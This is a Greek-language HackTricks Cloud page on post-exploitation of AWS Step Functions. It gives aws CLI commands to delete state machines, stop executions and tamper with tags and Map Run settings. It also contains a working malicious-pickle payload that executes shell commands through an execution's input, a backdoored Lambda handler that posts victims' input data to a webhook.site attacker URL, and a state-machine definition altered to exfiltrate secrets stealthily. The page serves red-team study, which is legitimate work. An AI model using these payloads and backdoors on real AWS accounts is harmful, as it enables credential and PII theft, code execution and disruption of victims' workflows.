AWS - Step Functions Post Exploitation
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Step Functions
Για περισσότερες πληροφορίες σχετικά με αυτή την υπηρεσία AWS, δείτε:
states:RevealSecrets
Αυτό το permission επιτρέπει την αποκάλυψη μυστικών δεδομένων μέσα σε ένα execution. Για αυτό απαιτείται να οριστεί το Inspection level σε TRACE και το revealSecrets parameter σε true.
.png)
states:DeleteStateMachine, states:DeleteStateMachineVersion, states:DeleteStateMachineAlias
Ένας επιτιθέμενος με αυτές τις άδειες θα μπορούσε να διαγράψει μόνιμα state machines, τις versions τους και τα aliases. Αυτό μπορεί να διαταράξει κρίσιμες ροές εργασίας, να προκαλέσει απώλεια δεδομένων και να απαιτήσει σημαντικό χρόνο για την αποκατάσταση και την επαναφορά των επηρεαζόμενων state machines. Επιπλέον, θα επέτρεπε σε έναν επιτιθέμενο να σβήσει ίχνη που χρησιμοποιήθηκαν, να διακόψει τις δικανικές έρευνες και ενδεχομένως να παραλύσει τις λειτουργίες αφαιρώντας ουσιώδεις αυτοματισμούς και διαμορφώσεις κατάστασης.
Note
- Διαγράφοντας ένα state machine, διαγράφετε επίσης όλες τις συσχετιζόμενες versions και aliases.
- Διαγράφοντας ένα state machine alias, δεν διαγράφετε τις state machine versions που αναφέρονται σε αυτό το alias.
- Δεν είναι δυνατή η διαγραφή μιας state machine version που αυτή τη στιγμή αναφέρεται από ένα ή περισσότερα aliases.
# Delete state machine
aws stepfunctions delete-state-machine --state-machine-arn <value>
# Delete state machine version
aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
# Delete state machine alias
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
- Πιθανός Αντίκτυπος: Διακοπή κρίσιμων ροών εργασίας, απώλεια δεδομένων και λειτουργική διακοπή.
states:UpdateMapRun
Ένας επιτιθέμενος με αυτή την άδεια θα μπορούσε να χειριστεί τη ρύθμιση αποτυχίας του Map Run και τη ρύθμιση parallel, αυξάνοντας ή μειώνοντας τον μέγιστο αριθμό επιτρεπόμενων εκτελέσεων child workflow, επηρεάζοντας άμεσα τη διαθεσιμότητα και την απόδοση της υπηρεσίας. Επιπλέον, ένας επιτιθέμενος θα μπορούσε να παραποιήσει το ποσοστό και τον αριθμό ανεκτών αποτυχιών, μειώνοντάς τα έως το 0, ώστε κάθε φορά που ένα στοιχείο αποτυγχάνει, ολόκληρο το Map Run να αποτύχει, επηρεάζοντας άμεσα την εκτέλεση του state machine και ενδεχομένως διαταράσσοντας κρίσιμες ροές εργασίας.
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
- Πιθανός Αντίκτυπος: Μειωμένη απόδοση και διατάραξη κρίσιμων ροών εργασίας.
states:StopExecution
Ένας attacker με αυτή την άδεια θα μπορούσε να σταματήσει την εκτέλεση οποιασδήποτε state machine, διαταράσσοντας τις τρέχουσες ροές εργασίας και διαδικασίες. Αυτό μπορεί να οδηγήσει σε μη ολοκληρωμένες συναλλαγές, παύση επιχειρησιακών λειτουργιών και πιθανή αλλοίωση δεδομένων.
Warning
Αυτή η ενέργεια δεν υποστηρίζεται από express state machines.
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
- Potential Impact: Διακοπή των τρεχουσών ροών εργασίας, διακοπή λειτουργίας και πιθανή διαφθορά δεδομένων.
states:TagResource, states:UntagResource
Ένας επιτιθέμενος θα μπορούσε να προσθέσει, να τροποποιήσει ή να αφαιρέσει ετικέτες από πόρους του Step Functions, διαταράσσοντας την κατανομή κόστους του οργανισμού σας, την παρακολούθηση πόρων και τις πολιτικές ελέγχου πρόσβασης που βασίζονται σε ετικέτες.
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
Πιθανός Αντίκτυπος: Διατάραξη της κατανομής κόστους, της παρακολούθησης πόρων και των πολιτικών ελέγχου πρόσβασης βάσει ετικετών.
states:StartExecution -> Input Injection Into Dangerous Sinks
states:StartExecution είναι ένα data-plane entrypoint. Εάν μια μηχανή κατάστασης προωθήσει είσοδο ελεγχόμενη από επιτιθέμενο σε ένα task που περιέχει ένα dangerous sink (για παράδειγμα μια Lambda που κάνει pickle.loads(base64.b64decode(payload_b64))), μερικές φορές μπορείτε να μετατρέψετε StartExecution σε code execution και secret exfiltration μέσω της εξόδου εκτέλεσης, χωρίς καμία άδεια για να ενημερώσετε τη μηχανή κατάστασης.
Εντοπισμός του workflow και της καλούμενης Lambda
Εάν έχετε states:List* / states:Describe*, μπορείτε να απαριθμήσετε και να διαβάσετε τον ορισμό της μηχανής κατάστασης:
REGION=us-east-1
SM_ARN="<state_machine_arn>"
aws stepfunctions describe-state-machine --region "$REGION" --state-machine-arn "$SM_ARN" --query definition --output text
Εάν έχετε επίσης lambda:GetFunction, μπορείτε να κατεβάσετε το πακέτο κώδικα του Lambda για να κατανοήσετε πώς επεξεργάζεται η είσοδος (και να επιβεβαιώσετε εάν υπάρχει unsafe deserialization):
LAMBDA_ARN="<lambda_arn_from_definition>"
CODE_URL="$(aws lambda get-function --region "$REGION" --function-name "$LAMBDA_ARN" --query 'Code.Location' --output text)"
curl -sSL "$CODE_URL" -o /tmp/lambda.zip
unzip -o /tmp/lambda.zip -d /tmp/lambda_code >/dev/null
ls -la /tmp/lambda_code
Παράδειγμα: crafted pickle στην είσοδο εκτέλεσης (Python)
Αν το Lambda unpickles attacker-controlled data, ένα malicious pickle μπορεί να εκτελέσει κώδικα κατά τη διάρκεια της deserialization. Παράδειγμα payload που αξιολογεί μια έκφραση Python στο Lambda runtime:
PAYLOAD_B64="$(python3 - <<'PY'
import base64, pickle
class P:
def __reduce__(self):
# Replace with a safe proof (e.g. "1+1") or a target-specific read.
return (eval, ("__import__('os').popen('id').read()",))
print(base64.b64encode(pickle.dumps(P())).decode())
PY
)"
EXEC_ARN="$(aws stepfunctions start-execution --region "$REGION" --state-machine-arn "$SM_ARN" --input "{\"payload_b64\":\"$PAYLOAD_B64\"}" --query executionArn --output text)"
aws stepfunctions describe-execution --region "$REGION" --execution-arn "$EXEC_ARN" --query output --output text
Επίπτωση: Όποιες άδειες έχει ο task role (Secrets Manager reads, S3 writes, KMS decrypt, etc.) μπορούν να γίνουν προσβάσιμες μέσω κατασκευασμένης εισόδου, και το αποτέλεσμα μπορεί να επιστραφεί στην έξοδο εκτέλεσης του Step Functions.
states:UpdateStateMachine, lambda:UpdateFunctionCode
Ένας επιτιθέμενος που παραβιάζει έναν χρήστη ή ρόλο με τα ακόλουθα δικαιώματα:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowUpdateStateMachine",
"Effect": "Allow",
"Action": "states:UpdateStateMachine",
"Resource": "*"
},
{
"Sid": "AllowUpdateFunctionCode",
"Effect": "Allow",
"Action": "lambda:UpdateFunctionCode",
"Resource": "*"
}
]
}
…μπορεί να διεξάγει ένα high-impact and stealthy post-exploitation attack συνδυάζοντας Lambda backdooring με Step Function logic manipulation.
Αυτό το σενάριο υποθέτει ότι το θύμα χρησιμοποιεί AWS Step Functions για την ορχήστρωση ροών εργασίας που επεξεργάζονται ευαίσθητες εισόδους, όπως credentials, tokens, ή PII.
Παράδειγμα κλήσης θύματος:
aws stepfunctions start-execution \
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
Αν το Step Function είναι ρυθμισμένο να καλεί μια Lambda όπως την LegitBusinessLogic, ο attacker μπορεί να προχωρήσει με δύο stealthy attack variants:
Ενημέρωση της Lambda function
Ο attacker τροποποιεί τον κώδικα της Lambda function που ήδη χρησιμοποιείται από το Step Function (LegitBusinessLogic) ώστε σιωπηλά να exfiltrate τα δεδομένα εισόδου.
# send_to_attacker.py
import requests
def lambda_handler(event, context):
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
return {"status": "exfiltrated"}
zip function.zip send_to_attacker.py
aws lambda update-function-code \
--function-name LegitBusinessLogic \
--zip-file fileb://function.zip -profile attacker
Προσθήκη κακόβουλου state στο Step Function
Εναλλακτικά, ο επιτιθέμενος μπορεί να εισάγει ένα exfiltration state στην αρχή της ροής εργασίας ενημερώνοντας τον ορισμό του Step Function.
{
"Comment": "Backdoored for Exfiltration",
"StartAt": "OriginalState",
"States": {
"OriginalState": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
"End": true
}
}
}
aws stepfunctions update-state-machine \
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
--definition file://malicious_state_definition.json --profile attacker
The attacker μπορεί να γίνει ακόμα πιο stealthy ενημερώνοντας τον ορισμό του state σε κάτι σαν το παρακάτω { “Comment”: “Backdoored for Exfiltration”, “StartAt”: “ExfiltrateSecrets”, “States”: { “ExfiltrateSecrets”: { “Type”: “Task”, “Resource”: “arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker”, “InputPath”: “$”, “ResultPath”: “$.exfil”, “Next”: “OriginalState” }, “OriginalState”: { “Type”: “Task”, “Resource”: “arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic”, “End”: true } } } όπου ο victim δεν θα αντιληφθεί τη διαφορά
Victim Setup (Context for Exploit)
- Ένα Step Function (
LegitStateMachine) χρησιμοποιείται για την επεξεργασία ευαίσθητων εισόδων χρηστών. - Καλεί μία ή περισσότερες Lambda functions όπως
LegitBusinessLogic.
Πιθανός Αντίκτυπος:
- Σιωπηλή exfiltration ευαίσθητων δεδομένων, συμπεριλαμβανομένων secrets, credentials, API keys, και PII.
- Χωρίς εμφανή σφάλματα ή αποτυχίες στην εκτέλεση του workflow.
- Δύσκολο να εντοπιστεί χωρίς auditing του Lambda code ή των execution traces.
- Επιτρέπει μακροχρόνια persistence εάν το backdoor παραμείνει στον κώδικα ή στη λογική ASL.
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

